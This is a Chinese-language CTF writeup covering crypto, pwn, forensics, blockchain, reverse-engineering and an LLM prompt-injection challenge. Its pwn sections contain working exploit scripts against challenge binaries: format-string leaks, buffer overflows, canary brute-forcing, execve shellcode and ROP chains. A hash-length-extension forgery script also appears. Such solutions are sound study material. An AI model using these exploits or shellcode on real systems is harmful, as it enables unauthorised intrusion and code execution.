← 返回列表

红岩杯 CTF Writeup

单站 mikkoseven.github.io 作者 Jx 发布 2025-05-02T02:00:00.000Z 入库 2026-11-18T03:03:24

红岩杯 CTF Writeup

因为 b = a⁻¹ mod REDROCK( REDROCK 由 p 和 q 构成的六次多项式),通过连分数逼近 b/n³ ≈ k/a 找 REDROCK 的候选值,再将其转化为关于 p 的整系数多项式方程并求整数根,从而分解模数 n,

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | import sys n = 21330417178780935607595719214966827164644168031404808123536422759093290654986186984779986124674065535048698564789683549387167734567494889727987768739933498971678349576980075810141539382624850797422925386849362264170297518281202626097673334149478517144240971291329443074078694959582725468708457447227839639349739044957816203295007779137952520903181880849153195328904024436481380759376233482818364767325923234064373968475435356362671946576770311758272451460209156772844600601230737225146598490484466829882102241353232243507831156969904841311483482713169909455550241947379796131122370013667777700889353607394579316593337 b = 4274002068103948012295387261296335276534073099764911383581636052340425889440119093475654911229956990021631007428441154157488056344547798620430529214277349041556790618161818511718309258066165521737172848433908748817848729247750213762385803511709610067956121318100202349530582525469139473585392121695567345902964897960223290717588859618755925022435736111212827999806208118196354069344934214573621995398144326767926165385982457100721541082427906774921027937051188323956769161245937772677935416740908446109687284184167848833056958122757276420732909968798176993295703107673527878962729869775179872093620480326690502360060225746120709770398780596068972997252921802475252256298127206044515826804621134200506775625727572326491067277587238664390729960100760636873864974010711754477446449874404297642031752514960431071947785961355012326922543953525772263663656039674021384773721028596399395432038078499373199101030427802797539825191247312297534690911344198747877700456549139900318709109177682768506176815700058636552412798079875260358961926808393450246166788216002272206242946956531722642459995465913686099572185124990781625988846246571306218717850012963928755864429892128097648825866032216862551404588257473250541131565067641080675004580693003553639459436345670000298447491578375883597811206113993332600777868226211055469567433660584476778635254554601006981400456808021357182570178949212462624967529291993282905870149678556609277335627148523389403901209573539193268092883458751447495920686293774234611629921988506226058722069224304453045240777225585575100737004281922392152844890518453502704869327667163246938161462708361897147119495750035205280406081502619321955117600454339048434848118834158938718872053038798540173249401542094363960755013616353935754932738696143370355302715096550112203371006534034453360853914946702897035445067615544765766094384280099673 c = 1313107055057950889307246874834282057796234858584841034116794626165722915548321096288352912266127849525302349162648294622656183904161468685960139363269275869256980163410813173917558346579222752242035463610071956859229359412389739876928832683492363852309619828748080876783596406890654906838878078524446527746824635074501263977485142198597177933002571851122614699284621724742192568428042549822917952073765289139545916107402308221320367813722900920527074762317970197470648785805169869097124930596613880361126245068232142054744643629840280759560511993618458008673926939940350125286138346243627616381829970641311056124602 e = 65537 P = PolynomialRing(ZZ, 'x') x = P.gen() print("[*] Starting Loop: Recover REDROCK and solve for p simultaneously...") target_ratio = b / (n**3) convergent_gen = target_ratio.continued_fraction().convergents() final_p = None final_q = None for frac in convergent_gen: k = frac.numerator() a = frac.denominator() # Pruning based on bit length of 'a' if a.nbits() > 500: break if k == 0: continue num = a * b - 1 if num % k == 0: candidate_rr = num // k # Loose check for REDROCK size if candidate_rr.nbits() == (n**3).nbits(): poly_p = (x - 82) * (x + 69) * (x - 68) poly_q_scaled = (n - 79*x) * (n + 67*x) * (n - 75*x) equation = poly_p * poly_q_scaled - candidate_rr * x**3 # Find integer roots roots = equation.roots(ring=ZZ) for root, multiplicity in roots: if root > 0: if n % Integer(root) == 0: final_p = Integer(root) print(f"[+] Found valid p: {final_p}") break if final_p: break if final_p: final_q = n // final_p print("[*] Decrypting Flag...") phi = (final_p - 1) * (final_q - 1) d = inverse_mod(e, phi) m = power_mod(c, d, n) try: from Crypto.Util.number import long_to_bytes flag_bytes = long_to_bytes(m) print(f"\nFLAG: {flag_bytes.decode()}") except Exception as e: print(f"Decrypted integer m: {m}") else: print("[-] Failed to find p. The attack assumptions might need adjustment.") |

img

brainfuck解码->base64->凯撒

img

img

| 1 | Redrock{call1ng_have_28G_dictionary} |

非常简单的RSA,e很小,直接开三次方

| 1 2 3 4 5 6 7 8 9 10 11 12 13 | import gmpy2 from Crypto.Util.number import long_to_bytes n = 10034458838192354450378996730371090139959078700304989320970470791827709774544051882909504284747432298412371995402769326066736060976548710999109630755854407549444549549735676445234518002317773499031649501473534060667165388944224036836209439279426386442400055821547280683413687958060329873738954349378987874163700505368918514568579218481284408157322593226120835440877748917765905930070492425758131612847519821028911314119892661965475651465106785480609441944785711632658843514760244120843987753943553073160041136621713048017335259479885274605968936731308517402206644004257673190155024729770535761903206196764797956566111 e = 3 c = 68807479857484550806391729758389898946524397942903876441962404719735555961923931034661024216721542983397545329074866058914183624766171319161545208892994234066410868707164031462060599514857031187502908132566888262717583311222196599554744857363781871367156348354921061 m, exact = gmpy2.iroot(c, e) if exact: flag = long_to_bytes(m) print(f"Flag: {flag.decode()}") Redrock{small_e_result_unsafe_crypto} |

image-20260502173036796

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import gmpy2 from Crypto.Util.number import long_to_bytes, inverse n = 146878380672316479844233362984600788617001005000700546389849745722524341147552213667146186984492489560397763953538282392357582139086230280528214619997606710607835035864019737700412495664719912477884474199745634668955688629916059945763451519948914271697365026194364957932899444033424783323792417895778485099887 leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091 c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793 e = 65537 A = 1024 B = -leak C = n delta = gmpy2.mul(B, B) - 4 * A * C sqrt_delta = gmpy2.iroot(delta, 2)[0] p = (-B + sqrt_delta) // (2 * A) q = n // p phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m).decode()) REDROCK{V3ry_s1mp1e_R5A_isn7_it?} |

哈希长度扩展攻击

SM3 并不是一次性把所有数据算完的,而是分块处理(每块 64 字节)。前一个块运算的结果(即内部状态 IV),会作为下一个块的初始向量(Input)。服务器给的 token,本质上就是处理完 Secret 后,SM3 算法停留在内存里的最后状态。如果能拿到这个状态,就可以在这个状态的基础上继续往后算

Secret 长度 = 64 字节。Original Token = SM3(Secret)。

伪造 SM3(Secret + Padding + "REDROCK")。

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | import urllib.parse, urllib.request, struct, re TARGET = "http://localhost:62723" SECRET_LEN = 64 # 题目已知 Secret 长度 class SM3: def __init__(self): self.IV = [0x7380166f, 0x4914b2b9, 0x172442d7, 0xda8a0600, 0xa96f30bc, 0x163138aa, 0xe38dee4d, 0xb0fb0e4e] self.T = [0x79cc4519] * 16 + [0x7a879d8a] * 48 def _rol(self, x, n): return ((x \<\< n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff) def _ff(self, x, y, z, j): return x ^ y ^ z if j \< 16 else (x & y) | (x & z) | (y & z) def _gg(self, x, y, z, j): return x ^ y ^ z if j \< 16 else (x & y) | (\~x & z) def _p0(self, x): return x ^ self._rol(x, 9) ^ self._rol(x, 17) def _p1(self, x): return x ^ self._rol(x, 15) ^ self._rol(x, 23) def _cf(self, v, b): w = [struct.unpack('>I', b[i*4:(i+1)*4])[0] for i in range(16)] for j in range(16, 68): w.append(self._p1(w[j-16] ^ w[j-9] ^ self._rol(w[j-3], 15)) ^ self._rol(w[j-13], 7) ^ w[j-6]) w1 = [w[j] ^ w[j+4] for j in range(64)] r = list(v) for j in range(64): ss1 = self._rol((self._rol(r[0], 12) + r[4] + self._rol(self.T[j], j%32)) & 0xffffffff, 7) ss2 = ss1 ^ self._rol(r[0], 12) tt1 = (self._ff(r[0], r[1], r[2], j) + r[3] + ss2 + w1[j]) & 0xffffffff tt2 = (self._gg(r[4], r[5], r[6], j) + r[7] + ss1 + w[j]) & 0xffffffff r[3]=r[2]; r[2]=self._rol(r[1], 9); r[1]=r[0]; r[0]=tt1 r[7]=r[6]; r[6]=self._rol(r[5], 19); r[5]=r[4]; r[4]=self._p0(tt2) return [r[i] ^ v[i] for i in range(8)] def lea(self, old_hash, total_len, append): """执行长度扩展攻击""" # 1. 恢复 IV self.IV = [int(old_hash[i:i+8], 16) for i in range(0, 64, 8)] # 2. 构造新块 (AppendData + SM3 Padding) # 注意: 这里的长度是 (Secret + GluePadding + AppendData) 的总长度 msg = append + b'\x80' + b'\x00' * ((56 - 1 - len(append)) % 64) msg += struct.pack('>Q', (total_len + len(append)) * 8) # 3. 计算 Hash for i in range(0, len(msg), 64): self.IV = self._cf(self.IV, msg[i:i+64]) return "".join(f'{x:08x}' for x in self.IV) def exploit(): try: # 1. 获取初始 Token print(f"[*] Fetching token from {TARGET}...") resp = urllib.request.urlopen(TARGET) token = urllib.parse.parse_qs(urllib.parse.urlparse(resp.geturl()).query)['token'][0] print(f"[+] Token: {token}") # 2. 计算 Glue Padding (Secret 后的填充) # Secret(64) 占满一块,Padding 独占第二块: 0x80 + 55个0x00 + 长度(64*8) glue = b'\x80' + b'\x00' * 55 + struct.pack('>Q', SECRET_LEN * 8) # 3. 长度扩展攻击 # 总处理长度 = Secret(64) + Glue(64) = 128 new_token = SM3().lea(token, 128, b"REDROCK") print(f"[+] New Token: {new_token}") # 4. 发送 Payload # user = glue + "REDROCK" payload = "".join(f"%{b:02X}" for b in glue + b"REDROCK") # 手动URL编码 final_url = f"{TARGET}/preview?user={payload}&token={new_token}" print(f"[*] Sending exploit...") res_content = urllib.request.urlopen(final_url).read().decode('utf-8', 'ignore') # 5. 提取 Flag if flag := re.search(r'(REDROCK{.+?}|flag{.+?}|GZCTF{.+?})', res_content): print(f"\n[SUCCESS] {flag.group(1)}\n") else: print("[-] Flag not found (check output manually).") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit() REDROCK{15799821-f67e-4999-a0db-cc9a500edd7d} |

img

Flag 在 flag_buf,还有一个printf(user_buf)格式化字符串漏洞

user_buf: rbp-0x90,

flag_buf: rbp-0x50,相差0x90 - 0x50 = 0x40字节。8个内存单元。因此 flag_buf 距离 user_buf 的为 8个栈单元

以AAAA为做标记,发送 payload,从程序输出中找到AAAA对应的十六进制标识(0x41414141),以此确定user_buf的格式化偏移n;算出flag_buf的格式化偏移为n+8;随后使用%flag_offset$p读取十六进制原始数据;提取小端序解码 Hex 数据即可

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import * context.arch = 'amd64' io = remote('127.0.0.1', 12345) DONE = b"\nDone!" flag_offset = 8 # 默认偏移(探测失败直接使用) # 1. 跳过欢迎+探测偏移 io.recvline() io.recvline() io.sendline(b"AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") try: res = io.recvuntil(DONE, drop=True).decode() if "0x41414141" in res: idx = res.split('.').index([p for p in res.split('.') if "0x41414141" in p][0]) flag_offset = idx + 1 + 8 # user_buf偏移+8=flag偏移 except: pass # 2. 重新连接+读取flag io.close() io = remote('127.0.0.1', 12345) io.recvline() io.recvline() payload = b".".join([f"%{flag_offset+i}$p".encode() for i in range(6)]) io.sendline(payload) leak = io.recvuntil(DONE, drop=True).decode().strip() # 3. 解码+提取flag flag = "" for part in leak.split('.'): if '0x' in part: try: flag += p64(int(part,16)).decode(errors='ignore') except: continue final_flag = re.search(r"(flag|call1ng){[^}]+}", flag) print(f"Flag: {final_flag.group(0) if final_flag else flag}") io.close() |

img

img

经典菜单题

img

购买函数,让 money 的值大于 999999即可

在 shop() 函数里,无法赚钱,只能花钱没有溢出。

img

no函数

money -= 20;没有判断条件

当小于0money 会变成负数,无符号整数实现溢出

img

img

只需要输入114514即可得到权限

img

连上题目直接出

img

ida看到了后门函数

img

地址为0x8049233

生成200个字符输入到程序中,得到错误跳转到0x61616175,此处0x61616175是小端序的

img

查找偏移量,也就是找b’\x75\x61\x61\x61’的位置

img

得到偏移量为80

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * OFFSET = 80 BACKDOOR_ADDR = 0x8049233 HOST = '127.0.0.1' PORT = 12345 context(arch='i386', os='linux', log_level='info') p = remote(HOST, PORT) print(f"[+] 已连接 {HOST}:{PORT}") # 构造Payload(垃圾数据 + backdoor地址) payload = b'A' * OFFSET + p32(BACKDOOR_ADDR) print(f"[+] Payload构造完成:{OFFSET}个A + {hex(BACKDOOR_ADDR)}") p.recv(1024) # 接收所有提示信息,无需匹配中文 p.sendline(payload) print("Payload已发送") p.interactive() |

img

Ida 后门函数地址0x401282加上程序泄露 Canary 值

img

buf 到 Canary 的偏移:72 字节(0x48)

Canary 到返回地址的偏移:16 字节(8 字节 Canary + 8 字节保存的 RBP)

最终覆盖返回地址的总偏移:88 字节(0x58)

img

payload = 填充数据(72字节) + Canary(8字节) + RBP填充(8字节) + ret指令地址(8字节) + backdoor地址(8字节)

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * p = remote("127.0.0.1", 12345) #提取Canary(匹配0x前缀) p.recvuntil(b"0x") canary_hex = p.recvline().strip().decode() canary_full = "0x" + canary_hex canary = p64(int(canary_full, 16)) print(f"提取到当前Canary:{canary_full}") print(f"转换为二进制Canary:{canary}") ret_addr = p64(0x40101a) backdoor_addr = p64(0x401282) # backdoor函数地址 padding1 = b'A' * 72 rbp_padding = b'B' * 8 payload = padding1 + canary + rbp_padding + ret_addr + backdoor_addr p.sendline(payload) print("payload已发送,尝试获取shell...") p.interactive() |

img

img

以当前时间戳为srand种子,生成 1\~1000 随机数,猜对/bin/sh

写脚本获取本地当前时间戳;遍历候选种子,计算对应随机数;然后发送猜测,验证是否成功;

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from pwn import * import ctypes libc = ctypes.CDLL("libc.so.6") HOST, PORT = "127.0.0.1", 12345 current_time = libc.time(0) seeds = [current_time, current_time-1, current_time+1] correct_num = None for seed in seeds: io = remote(HOST, PORT) libc.srand(seed) guess = (libc.rand() % 1000) + 1 io.sendlineafter(b"Enter your guess: ", str(guess).encode()) res = io.recv(4096) io.close() if b"you beat" in res or b"you win" in res: correct_num = guess break if correct_num: io = remote(HOST, PORT) io.sendlineafter(b"Enter your guess: ", str(correct_num).encode()) io.interactive() else: print("Guess failed") |

img

img

img

No NX栈可执行 ,

程序通过 printf(format, buf) 打印了 buf 的真实栈地址

read(0, buf, 0x40) 读取了 64 字节,而 buf 只有 16 字节,存在溢出。可以把返回地址 改写成 Shellcode 所在的地址。 根据栈布局:[Buf (16)] + [RBP (8)] + [Ret (8)] + [Shellcode (剩余空间)]。 Shellcode 实际上被放在了 Ret 之后的位置。 所以目标地址 = A + 16 + 8 + 8-> 泄露地址** + 32**。

read 总共读 64 字节。 Padding(24) + Ret(8) 占用了 32 字节。 剩下 64 - 32 = 32 字节给 Shellcode。 使用 23 字节的短 Shellcode。

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * context(arch='amd64', os='linux', log_level='debug') p = remote('127.0.0.1', 12345) # 提取栈地址 p.recvuntil(b"[") buf_addr = int(p.recvuntil(b"]", drop=True), 16) success(f"Stack Leak: {hex(buf_addr)}") # 清理剩余输出 p.recvuntil(b": ") # 构造 Payload Shellcode (execve /bin/sh) shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" # 目标地址 = buf起始地址 + 填充长度(24) + ret长度(8) shellcode_addr = buf_addr + 32 payload = flat([ b'A' * 24, p64(shellcode_addr), shellcode ]) p.sendline(payload) p.interactive() |

img

checksec一下

img

img

NX 开启,Canary 开启,No PIE,read(0, v1, 128),v1 大小 36 字节

img

程序内包含 /bin/sh字符串,但没有 system 函数

由于无法直接泄露 Canary,但可以多次尝试连接

Canary 为 4 字节,最低位固定为 \x00。剩余 3 字节是随机的。保持 Offset 不变,从第 2 个字节开始,尝试 0x00-0xff。若程序不报错则对。逐位爆破出完整 Canary,程序没有 system 函数,构造 execve("/bin/sh", 0, 0) 系统调用

栈的结构是:[缓冲区] -> [Canary] -> [Saved EBP] -> [Ret Addr]。v1 开始于 ebp - 0x28 (即 40 字节)。Canary 位于 ebp - 0x4 (4 字节)。

offset = 40 - 4 = 36字节

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import * context(arch='i386', os='linux', log_level='info') ip = '127.0.0.1' port = 12345 offset = 36 #爆破 Canary canary = b'\x00' log.info("Start Brute-forcing Canary...") for i in range(3): for b in range(256): # 每次尝试需新建连接,level='error' 屏蔽连接日志 p = remote(ip, port, level='error') p.recvuntil(b"find her?") # 发送探测包 p.send(b'A' * offset + canary + p8(b)) # 接收回显判断 res = p.recvall(timeout=0.5) p.close() if b"stack smashing" not in res: canary += p8(b) log.success(f"Found: {canary.hex()}") break log.success(f"Final Canary: {canary.hex()}") p = remote(ip, port) p.recvuntil(b"find her?") # Gadgets pop_edx_ebx_esi = 0x0805c6de pop_eax = 0x0804998c pop_ebx_ecx = 0x0804998e int_0x80 = 0x08049993 bin_sh = 0x080af014 # 构造 Payload payload = flat([ b'A' * offset, # Padding canary, # Canary b'B' * 4, # Saved EBP # execve("/bin/sh", 0, 0) p32(pop_edx_ebx_esi), p32(0), p32(0), p32(0), p32(pop_eax), p32(0xb), p32(pop_ebx_ecx), p32(bin_sh), p32(0), p32(int_0x80) ]) p.send(payload) p.interactive() |

img

img

img

img

缓冲区 buf 大小:48 字节。

read 读取大小:55 字节。剩余:55 - 48 = 7 字节。

要覆盖返回地址,需要 $$48 (\text{buf}) + 8 (\text{rbp}) = 5$$ 字节

但只有 7 字节溢出

利用 main 函数结尾的 leave; ret 指令,题目给出的 printf 获取 buf 在栈上的真实地址(设为 Target_Addr)。

通过 7 字节溢出,将栈上的 Saved RBP 修改为 Target_Addr

当 main 执行 leave时:

mov rsp, rbp:此时 RBP 已经是我们伪造的地址了,所以 RSP (栈指针) 跳到了我们的 buf

payload:

偏移 内容 说明
00-07 AAAAAAAA 填充,被 leave 中的 pop rbp 消耗
8-15( ret_addr 对齐,main返回RSP+8,修复system6字节对齐问题
16-23 backdoor 后门地址
24-47 padding 填充剩余空间
48-54 buf_addr 覆盖 Saved RBP,将栈劫持回buf

64位 Linux 的 system() 函数要求调用时栈必须 16字节对齐(地址尾数是 0)。如果我们在栈迁移后直接跳去 backdoor,栈尾数是 8,会导致程序崩溃。但是可以先跳到 0x40101a (执行 ret)。因为ret 指令执行一次 pop 操作。栈指针 (RSP) 往上移动 8 字节。这样就能对齐,再跳去 backdoor,system() 就能正常运行了。

img

得到ret_addr = 0x40101a

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * context(arch='amd64', os='linux', log_level='debug') p = remote('127.0.0.1', 12345) # 1. 提取地址 p.recvuntil(b"Address: ") buf_addr = int(p.recvuntil(b")", drop=True), 16) success(f"Buf Addr: {hex(buf_addr)}") # 2. 准备地址 backdoor = 0x4011b6 ret_addr = 0x40101a # 栈对齐垫片 # 3. 构造栈迁移 Payload payload = flat([ b'A' * 8, p64(ret_addr), p64(backdoor), b'B' * 24, p64(buf_addr) ]) p.send(payload) p.interactive() |

img

| 1 | redrock{我已仔细阅读以上内容,保证不会违反比赛规则,公平竞争!} |

| 1 2 3 4 5 | 1.内网哪台机子被攻陷当作黑客的跳板机?(回答ip地址) 2.黑客上传的webshell名称是什么? 3.黑客上传的webshell密码是什么? 4.黑客的存放webshell的vps的ip是什么? flag格式Redrock{md5(答案1_答案2_答案3_答案4)} |

过滤一下post,得到一个显眼的文件

img

是webshell无疑了

img

在 Wireshark 中查看 192.168.190.131 不断向 .133 发送带有恶意代码的 POST 请求,

192.168.190.131。为跳板机

名称:Update_config_1.php

流量包中的数据以 Car1N0tCat=... 开头,后面紧跟 PHP 混淆代码,说明该参数名即为密码。

VPS 是黑客在公网上租用的服务器,用于存放恶意工具或接收反弹 Shell

http.request.uri contains "Update_config_1.php"筛选 Webshell 文件相关的所有 HTTP 请求

img

在 2658 号包的 updateHost 参数中直接暴露了 43.139.95.95 这个非私有地址。

拼接起来192.168.190.131_Update_config_1.php_Car1N0tCat_43.139.95.95

| 1 | Redrock{f385c4b8d42de5d60e52965ca40a4af0} |

根据题目描述掩码攻击

img

img

得到密码,解压缩发现又需要密码,这个时候有个Hint一看就是伪加密,去掉得到一张截图的png图片但是还是有密码

img

当时没注意到加密算法,以为是纯爆破,后来新hint一上就知道是明文攻击了,

89504e470d0a1a0a0000000d49484452: 这就是 PNG 的固定文件头 hex。

用bk明文攻击

img

得到最终图片

img

| 1 | Redrock(Mv4getab1e_1ikes_z1p} |

img

要找到m,首先尝试连接区块链读取数据通过公共 RPC 节点可以查询链上数据

以太坊智能合约的数据存储在 Storage 中,按 Slot(槽位) 组织:

由于以太坊虚拟机 (EVM) 的存储是按 32 字节,把合约字节码丢给ai分析得知这是一个RSA加密

img

img

首位的那两个128位的应该就是pq

让ai写个脚本读取密文c

| 1 2 3 4 5 6 7 8 | from web3 import Web3 w3 = Web3(Web3.HTTPProvider('https://ethereum-sepolia-rpc.publicnode.com', request_kwargs={'timeout': 30})) CONTRACT = '0x0CB91a72FD272654f85049a24a7B7EE7fcAC5Bfe' slot0 = w3.eth.get_storage_at(CONTRACT, 0) c = int.from_bytes(slot0, 'big') print(f"密文 c = {hex(c)}") |

得到0x2df665b3b17d156d369ac48a692261e788a70558e8f089fd99132ab1ecb1ec05

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | # 密文 (来自 Slot 0) c = 0x2df665b3b17d156d369ac48a692261e788a70558e8f089fd99132ab1ecb1ec05 # 从字节码提取的 RSA 参数 p = 0xe5d53795e6420734143c7f68b2b4264b q = 0x9766970a3fc915dbbbe7c8408f6678e9 e = 0x010001 n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n) hex_m = hex(m)[2:] if len(hex_m) % 2 != 0: hex_m = '0' + hex_m flag = bytes.fromhex(hex_m).decode('utf-8') print(f"Flag: {flag}") REDROCK{D0nt_h4rdcode_5ens_data} |

提示词注入,没什么好说的不断尝试

经过反复试得到第一段

img

第二段就比第一段好弄多了

img

| 1 | redrock{llm_1nj3c710n_h45_d33p_nu4nc3d_499af135-f7e9-4fa8-aa71-2a864e7614c5} |

内存取证题,有两个关键Hint问题1,3的哈希这样就简单多了

| 1 2 3 4 5 6 | 1.假冒杀毒软件的网站是什么如 abcd.com (填主域名) 2.下载后可执行文件名是什么,带后缀 3.请分析病毒回连的域名是什么 答案三的sha256:a268df2bb9b2926ad1c7a0c349380b1e19d76fb12fa1d8012dbb6e2d38723ba1 答案一的sha256:450c878267a137bc3ee2bb67fb7d573f294c7a6b6ec24ce980e10263e4e107de python vol.py -f DESKTOP-A2L4C1V-20251117-030051.raw windows.info |

先看一下基础信息

img

第一问要找下载的网站

先提取字符串信息然后再过滤出网址信息

| 1 2 | 步骤一:C:\Users\mikko\Desktop\strings\strings.exe -n 6 DESKTOP-A2L4C1V-20251117-030051.raw > allstrings1.txt 步骤二:Get-Content allstrings1.txt | Select-String -Pattern "http[s]?://[a-zA-Z0-9.-]+(?:.[a-zA-Z]{2,})?" -AllMatches | ForEach-Object { $_.Matches.Value } > found_urls.txt |

img

搜索到了huorongs.com

去比对一下哈希

img

跟题目一样,

第二问再提出exe文件,一般的可执行文件都是这个

| 1 | Select-String -Path allstrings1.txt -Pattern "Downloads.*.exe" > result_exe.txt |

img

点进去就是huorong_signed_2.exe 第三问:要找病毒回连域名

网络连接列表

| 1 | python vol.py -f DESKTOP-A2L4C1V-20251117-030051.raw windows.netscan > net_results.txt |

发现了一个特殊的端口, 它连的是 5000 端口

img

去查这个ip对应的域名

img

找到最近的一个去看哈希对不对

img

发现一样

这就找奇了,拼接起来

| 1 | Redrock{``huorongs.com``_huorong_signed_2.exe_``xyk33.cyou``} |

拉人助力即可,或者用不同设备信息助力

| 1 | Redrock{INILelmxbz8oXckZSxlqAUqwUKit1iYp} |

解压apk,ida代开找到关键函数

img

发现只是rc4加密而已,找到密文unk_CA70

点进去看Rc4密钥

img

发现是一个假密钥,然后在左侧函数名栏看到一个奇怪的函数名,

img

点进去看是

img

key,转换一下是字符redrock_realkey,拿去当rc4密钥解密文

| 1 2 3 4 5 6 7 8 9 10 11 12 13 | from Crypto.Cipher import ARC4 # 1. 密文 ciphertext_hex = "B0 D1 E0 0F 7C A5 F3 95 3A 2E 01 F8 B3 A1 8F B8 20 37 A6 5D F8 03 E5 A1 9C 05 D5 64 DC 04 E7 C7 08 E4 5B 2F B9 95 37" data = bytes.fromhex(ciphertext_hex) # 2. 密钥 key = b"redrock_realkey" # 3. 解密 rc4 = ARC4.new(key) flag = rc4.decrypt(data) print("Flag:", flag.decode('utf-8')) redrock{.1n1t_4rr4y_runs_b3f0r3_5t4rt5} |

main函数点击flag1变量

img

img

shift+e得到第一段redrock{1d4_15_

shift+f12查找字符串

img

得到第二段4_v3ry_

交叉引用得到第三段

img

1mp0rt4nt_t00l}

拼起来redrock{1d4_15_4_v3ry_1mp0rt4nt_t00l}

py解包得到bitwise.pyc不过python版本比较高,

直接看汇编代码

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | import marshal import dis import sys filename = r"C:\Users\mikko\Desktop\红岩杯\re\bitwise.pyc" def analyze_recursive(code_obj, depth=0): prefix = " " * depth print(f"\n{prefix}{'='*30}") print(f"{prefix}分析层级: {depth} | 对象名: {code_obj.co_name}") print(f"{prefix}{'='*30}") # 1. 打印局部变量名 print(f"{prefix}局部变量 (co_varnames): {code_obj.co_varnames}") # 2. 打印常量池 (寻找加密后的数据) print(f"{prefix}常量池 (co_consts):") for i, c in enumerate(code_obj.co_consts): print(f"{prefix} [{i}]: {repr(c)}") # 3. 打印汇编指令 (核心逻辑) print(f"\n{prefix}--- 汇编指令 ---") dis.dis(code_obj, depth=depth) # 4. 递归处理嵌套的 code object for const in code_obj.co_consts: if isinstance(const, type(code_obj)): analyze_recursive(const, depth + 1) try: with open(filename, "rb") as f: data = f.read() # 跳过 3.11 的 16 字节头部 code = marshal.loads(data[16:]) analyze_recursive(code) except Exception as e: print(f"发生错误: {e}") |

然后把得到的汇编代码丢给ai分析一下

得到源码逻辑

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | def check(s): if len(s) != 46: # 对应汇编 30-38 行 print('Length incorrect') return False # 第一段:s[0:8] # 逻辑:ord(ch) \<\< 3 == target part1 = (912, 808, 800, 912, 888, 792, 856, 984) for ch, target in zip(s[0:8], part1): if ord(ch) \<\< 3 != target: return False # 第二段:s[8:15] # 逻辑:(ord(ch) >> 1 == j) and (ord(ch) & 1 == k) part2_j = (49, 24, 58, 59, 24, 26, 25) part2_k = (0, 1, 0, 1, 1, 1, 1) for ch, j, k in zip(s[8:15], part2_j, part2_k): if (ord(ch) >> 1 != j) or (ord(ch) & 1 != k): return False # 第三段:s[15:24] # 逻辑:ord(ch) | 0 == target (其实就是直接相等) part3 = (95, 48, 112, 53, 95, 64, 114, 101, 95) for ch, target in zip(s[15:24], part3): if (ord(ch) | 0) != target: return False # 第四段:s[24:34] # 逻辑:\~ord(ch) == target (汇编 558行 UNARY_INVERT) part4 = (-100, -49, -110, -110, -49, -111, -96, -50, -111, -96) for ch, target in zip(s[24:34], part4): if \~ord(ch) != target: return False # 第五段:s[34:46] # 逻辑:ord(ch) ^ 1131796 == target part5 = (1131895, 1131878, 1131811, 1131876, 1131872, 1131851, 1131808, 1131896, 1131891, 1131812, 1131809, 1131881) for ch, target in zip(s[34:46], part5): if (ord(ch) ^ 1131796) != target: return False return True |

逆向解密即可

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | # Part 1: 左移 3 位逆运算 (右移 3) p1 = (912, 808, 800, 912, 888, 792, 856, 984) f1 = "".join([chr(x >> 3) for x in p1]) # Part 2: 组合位逆运算 p2_j = (49, 24, 58, 59, 24, 26, 25) p2_k = (0, 1, 0, 1, 1, 1, 1) f2 = "".join([chr((j \<\< 1) | k) for j, k in zip(p2_j, p2_k)]) # Part 3: 直接转换 p3 = (95, 48, 112, 53, 95, 64, 114, 101, 95) f3 = "".join([chr(x) for x in p3]) # Part 4: 取反逆运算 p4 = (-100, -49, -110, -110, -49, -111, -96, -50, -111, -96) f4 = "".join([chr(\~x & 0xFF) for x in p4]) # Part 5: 异或逆运算 p5 = (1131895, 1131878, 1131811, 1131876, 1131872, 1131851, 1131808, 1131896, 1131891, 1131812, 1131809, 1131881) f5 = "".join([chr(x ^ 1131796) for x in p5]) print("Flag:", f1 + f2 + f3 + f4 + f5) redrock{b1tw153_0p5_@re_c0mm0n_1n_cr7pt_4lg05} |

根据提示修改魔改的upx

img
